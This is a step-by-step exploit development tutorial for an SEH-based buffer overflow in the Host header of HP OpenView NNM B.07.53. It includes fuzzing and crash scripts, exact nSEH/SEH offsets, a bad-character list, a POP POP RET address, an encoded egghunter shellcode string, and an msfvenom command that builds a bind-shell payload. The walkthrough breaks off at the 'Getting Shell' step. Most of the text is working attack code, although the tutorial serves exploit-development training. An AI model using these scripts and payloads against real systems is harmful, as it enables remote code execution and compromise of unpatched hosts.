Exploiting HP OpenView NNM - B.07.53

1. The Setup

1.1 Environment & Tools

OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

HP OpenView NNM release - B.07.53
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer

1.2 Web Interface

Browse to http://X.X.X.X:7510/topology/home to confirm that everything is working as expected

2. Fuzzing

2.1 Identify Fuzzable Parameters

Identify any possible parameters that can be used during the fuzzing phase.

The following BOO Fuzz template was used to fuzz the program

import sys
from boofuzz import *

def main():
	host = '192.168.153.133'
	port = '7510'


	session = Session(
		sleep_time = 0.2,
		target=Target(
			connection=SocketConnection(host, int(port), proto='tcp'),
		),
	)

	s_initialize(name="GET")
	with s_block("GET-Header"):
		s_static('GET', name='Request-Method'), s_delim(' ', name='Request-Space-1'), s_string('/topology/home', name='Request-URI'), s_delim(' ', name='Request-Space-2'), s_static('HTTP/1.1', name='Request-HTTP-Ver'), s_static('\r\n', name='Request-CRLF'),
		s_static('Host', name='Host-Header'), s_delim(':', name='Host-Colon-1'), s_delim(' ', name='Host-Space-1'), s_string('192.168.153.133', name='Host-Host'), s_static('\r\n', name='Host-CRLF'),
		s_static('Connection', name='Connection-Header'), s_delim(':', name='Connection-Colon-1'), s_delim(' ', name='Connection-Space-1'), s_group('Connection-Type', ['keep-alive', 'close']), s_static('\r\n', 'Connection-CRLF'),
		s_static('Cache-Control', name='Cache-Control-Header'), s_delim(':', name='Cache-Control-Colon-1'), s_delim(' ', name='Cache-Control-Space-1'), s_group('Cache-Control-Value', ['max-age', 'max-stale', 'min-fresh', 'no-cache', 'no-store', 'no-transform', 'only-if-cached']), s_delim('=', name='Cache-Control-Value-Equal-1'), s_string('0', name='Cache-Control-Value-number'), s_static('\r\n', name='Cache-Control-CRLF'),
		s_static('Upgrade-Insecure-Requests', name='Upgrade-Insecure-Request-Header'), s_delim(':', name='Upgrade-Insecure-Requests-Colon-1'), s_delim(' ', name='Upgrade-Insecure-Request-Space-1'), s_string('1', name='Upgrade-Insecure-Request-Value'), s_static('\r\n', name='Upgrade-Insecure-Reuquests-CRLF'),
		s_static('User-Agent', name='User-Agent-Header'), s_delim(':', name='User-Agent-Colon-1'), s_delim(' ', name='User-Agent-Space-1'), s_string('Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3223.8 Safari/537.36', name='User-Agent-Value'), s_static('\r\n', name='User-Agent-CRLF'),
		s_static('Accept', name='Accept-Header'), s_delim(':', name='Accept-Colon-1'), s_delim(' ', name='Accept-Space-1'), s_string('text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', name='Accept-Value'), s_static('\r\n', name='Accept-CRLF'),
		s_static('Referer', name='Referer-Header'), s_delim(':', name='Referer-Colon-1'), s_delim(' ', name='Referer-Space-1'), s_string('http://' + host + '/', name='Referer-Value'), s_static('\r\n', name='Referer-CRLF'),
		s_static('Accept-Encoding', name='Accept-Encoding-Header'), s_delim(':', name='Accept-Encoding-Colon-1'), s_delim(' ', name='Accept-Encoding-Space-1'), s_string('gzip, deflate', name='Accpet-Encoding-Value'), s_static('\r\n', name='Accept-Encoding-CRLF'),
		s_static('Accept-Language', name='Accept-Language-Header'), s_delim(':', name='Accept-Language-Colon-1'), s_delim(' ', name='Accept-Language-Space-1'), s_string('en-US,en;q=0.9', name='Accept-Language-Value'), s_static('\r\n\r\n', name='Accept-Language-CRLF')
		
	session.connect(s_get("GET"))

	session.fuzz()

if __name__ == '__main__':
	main()

2.2 Process - ovas.exe

It is observed that ovas.exe process is responsible for listening the network connection on  TCP port 7150

3. Crash

The following command appears to have crashed the program indicating that the "Host" header can be manipulated to force the program to crash.

3.1 Analysing the Crash

To gain a better understanding of this, the following template was used to identify the length needed to overflow the Host header and cause the crash

import socket
from time import sleep

count = 10000
print 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 7510

	crash = "A" * count
	buf= "GET /topology/home HTTP/1.1\r\n"
	buf+= "Host: " + crash + "\r\n"
	buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
	buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.send(buf)
		s.settimeout(4.0)
		data = s.recv(1024)
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()
	
	count = count - 500
	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	sleep(3)

As can be seen from Figure 7 the script was able to successfully crash the program.

3.2 Determine Maximum Buffer Length

As can be seen above in Figure 6, the program crashes out between 3000 - 4000 bytes. The following script was used to determine the exact maximum buffer length.

import socket
from time import sleep

count = 4000
print 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 7510

	crash = "B" * count
	buf= "GET /topology/home HTTP/1.1\r\n"
	buf+= "Host: " + crash + "\r\n"
	buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
	buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.send(buf)
		s.settimeout(4.0)
		data = s.recv(1024)
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()
	
	count = count - 10
	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	sleep(3)

4. nSEH & SEH Offsets

4.1 Create Unique Pattern

Using msf-pattern_create create a pattern of length 3930 bytes.

Update the exploit and execute it

import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 7510

crash = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9"
buf= "GET /topology/home HTTP/1.1\r\n"
buf+= "Host: " + crash + "\r\n"
buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(buf)
s.settimeout(4.0)
data = s.recv(1024)

s.close()

Hit ALT + S and note the 'Address' value of the 'Corrupt Entry' (this will be nseh) and the SE-handler value above 'Corrupt Entry' (this will be the seh value)

4.2 Get nSEH & SEH Offsets

Next use msf-patten_offset to get the nseh and seh offsets

4.3 Confirm Offsets

Update the exploit and execute it to confirm that these offsets are correct

import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 7510

payload = "A" * 3305
payload += "B" * 4 # nseh
payload += "C" * 4 # seh
payload += "D" * (3930 - len(payload))

buf= "GET /topology/home HTTP/1.1\r\n"
buf+= "Host: " + payload + "\r\n"
buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(buf)
s.settimeout(4.0)
data = s.recv(1024)

s.close()

5. Bad Character Analysis

Clone the https://github.com/zflemingg1/OSCE/tree/master git repository and configure the dependency package as instructed.

5.1 Identifying Bad Characters

Run the script and once finished you should have identical results to those outlined below:

# Good Chars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f
# Bad Chars
\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

6.0 Safe Pop Pop Ret

Using mona generate the seh.txt file by issuing !mona seh command:

Run Find-Safe-Address.py to identify all safe PPR address from seh.txt.

6.1 Confirm Safe PPR Address

Using the Find-Safe-Address.py script the following address was chosen 0x6d695864. Using immunity restart the application, set a breakpoint at 0x6d695864 and update the POC as shown below and execute it.

#!/usr/bin/env python

import socket
import struct
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 7510

payload = "A" * 3305
payload += "B" * 4 # nseh
payload += struct.pack("<I",0x6d695864) # seh
payload += "D" * (3930 - len(payload))

buf= "GET /topology/home HTTP/1.1\r\n"
buf+= "Host: " + payload + "\r\n"
buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(buf)
s.settimeout(4.0)
data = s.recv(1024)

s.close()

As can be seen from Figure 21, SEH has been overwritten with our PPR address. Press shift and F9 to pass the exception to the program and you should hit your breakpoint at 0x6d695864 as shown below in Figure 22.

7. Jump Over SEH

Stepping into our buffer using F7 we can see that we have 4 bytes before we hit the SEH instructions. You will need to hop over these instructions into the D buffer. Unfortunately using nSEH, we can’t directly write a X byte jump code to meet D buffer as the short jump opcode (\xeb) is a bad char. To circumvent this, we can use a conditional jump. The following article explains how this works in a detailed manner - https://buffered.io/posts/jumping-with-bad-chars/. Restart the application in immunity, set a breakpoint at 0x6d695864 and execute the updated POC below:

#!/usr/bin/env python

import socket
import struct
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 7510

payload = "A" * 3305
payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6d695864) # seh
payload += "D" * (3930 - len(payload))

buf= "GET /topology/home HTTP/1.1\r\n"
buf+= "Host: " + payload + "\r\n"
buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(buf)
s.settimeout(4.0)
data = s.recv(1024)

s.close()

As can be seen during crash the breakpoint is hit and after stepping through POP POP RET, control goes to the nSEH. After that it executes all instructions stored on nSEH and finally jumps forward and lands in the D buffer block.

8. Egghunter

At this point there is approximately 610 bytes left in the D buffer. Due to the number of restricted characters we can’t directly write any shellcode / payload here without first performing some sort of encoding - this causes another issue which is the payload size. Using an encoder such as msfencode will increase the payload size and thus it won't fit in the D buffer. To circumvent this an egghunter can be used which is approximately 32 bytes. We can use a custom encoder that generates less than 610 bytes output for the 32 byte egghunter code.We can then write the original shellcode somewhere in the memory that has more space i.e. in the A buffer.

8.1 Generating Egghunter

The following command was used to generate the encoded shellcode:

msf-egghunter -f raw -e b00b -v egghunter -p windows -a x86 | msfvenom -p - --platform windows -a x86 -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python -e x86/alpha_mixed bufferregister=esp

This command breaks down as follows:

 # msf-egghunter 
 -f raw  # output this in raw format
 -e b00b # the string our egghunter will look for
 -v egghunter # the name of the outputted variable typically buf by default
 -p windows -a x86 # target os 
  
 # msfvenom 
 -p - # payload 
 --platform windows -a x86 # target os
 -b # bad chars list
 -f python # output in python
 -e x86/alpha_mixed # the encoding scheme to be used
 bufferregister=esp # use esp as the register 
 

8.2 Adjust ESP

As Offensive Security explains here, even with the -e x86/alpha_mixed option, msfvenom will prepend \x89\xe2\xdb\xdb\xd9\x72 to our payload which is NOT alphanumeric. The purpose of these opcodes is so the payload can determine where it is located in absolute memory, a work around is to use the BufferRegister=REG32 (i.e. BufferRegister=ESP as shown above) option and specify a register that’s pointed at our shellcode.

To do this, some calculations are needed in order to align ESP. We will use the EAX register to perform these calculations. The following "Template" is used in order to correctly align ESP.

push esp # Push ESP onto the stack
pop eax  # Pop that value into EAX
add ax, 0x??? # Add x amount of bytes - this will be the difference of where ESP currently points to and the address of where you would like it to point to
push eax # Push this new EAX value onto the stack
pop esp  # Pop this value into ESP

As can be seen from Figure 25, we have pushed ESP onto the stack and then popped that value into EAX showing a value of 2202E6C8 - (current ESP value).

Note: AX was chosen instead of EAX due to the restricted character set.

The next step is to calculate an address which is divisible by four and is located a couple of bytes after the address where our template ends. This address will be the address of where our shellcode begins. This is illustrated below

As can be seen from Figure 25, ESP points to 2202E6C8. Address 2202FC04 was identified to be a suitable address to begin our shellcode as shown in Figure 26. By adding 5436 bytes to AX (153c in hex) we can adjust ESP so that it now points to this address as shown in Figure 27 and Figure 28.

Restart the application in immunity, set a breakpoint at 0x6d695864 and execute the updated POC shown below to replicate these results:

import socket
import struct
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 7510

payload = ""
payload += "A" * (3305 - len(payload))
payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6d695864)
payload += "B" * 14
payload += "\x54\x58" # Push ESP onto the stack and Pop that value into EAX
payload += "\x66\x05\x3c\x15" # Add AX,0x153C
payload += "\x50\x5c" # Push EAX onto the stack and pop that value into ESP
payload += "C" * 2
payload += "A" * 4 
payload += "C" * (3930 - len(payload))


buf= "GET /topology/home HTTP/1.1\r\n"
buf+= "Host: " + payload + "\r\n"
buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(buf)
s.close()

8.3 Verify That Egghunter Works

The next step is to add the shellcode for the egghunter. Your POC should now be as follows:

#!/usr/bin/env python

import socket
import struct
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 7510

egghunter =  b""
egghunter += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
egghunter += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
egghunter += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
egghunter += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x63\x56\x6f"
egghunter += b"\x71\x69\x5a\x79\x6f\x76\x6f\x47\x32\x30\x52"
egghunter += b"\x50\x6a\x45\x52\x66\x38\x58\x4d\x34\x6e\x45"
egghunter += b"\x6c\x34\x45\x33\x6a\x62\x54\x48\x6f\x4f\x48"
egghunter += b"\x65\x32\x64\x70\x34\x70\x63\x52\x4e\x69\x79"
egghunter += b"\x47\x6c\x6f\x72\x55\x79\x7a\x4c\x6f\x31\x65"
egghunter += b"\x39\x77\x79\x6f\x49\x77\x41\x41"

payload = "A" * 5 + "b00bb00b" + "CCCCCCCCCCCCCCCCCC"
payload += "A" * (3305 - len(payload))
payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6d695864)
payload += "B" * 14
payload += "\x54\x58" # Push ESP onto the stack and Pop that value into EAX
payload += "\x66\x05\x3c\x15" # Add AX,0x153C
payload += "\x50\x5c" # Push EAX onto the stack and pop that value into ESP
payload += "C" * 2
payload += egghunter
payload += "C" * (3930 - len(payload))


buf= "GET /topology/home HTTP/1.1\r\n"
buf+= "Host: " + payload + "\r\n"
buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(buf)
s.close()

Restart the application in immunity, set a breakpoint at 0x6d695864 and execute the updated POC :

As shown in Figure 29, ESP now points to our encrypted shellcode. Step through these commands using F7 until you come to command: JNZ SHORT 2202FC20 as shown in Figure 30 and set a breakpoint at the instruction directly underneath - this is where the decoded egghunter will be shown.

As shown in Figure 31, our egghunter has now successfully been decoded. Stepping through these instructions, you should eventually reach the JNZ EDI instruction as shown in Figure 33.

Taking this jump should bring you to the start of your A buffer as shown in Figure 34.

9.0 Generating Payload

As shown in Figure 32, we have landed in our C Buffer located just after the "b00bb00b" string. If you take a look at the EDI register, you can see that that it is pointing to the start of our C. We can use the same trick we did before in Section 8.1 when generating our encrypted payload. This time we will use the EDI register instead of ESP. The following command was used to generate our shellcode:

msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python -e x86/alpha_mixed bufferregister=edi -v shellcode

9.1 Getting Shell

Restart the application and execute the updated POC shown below:

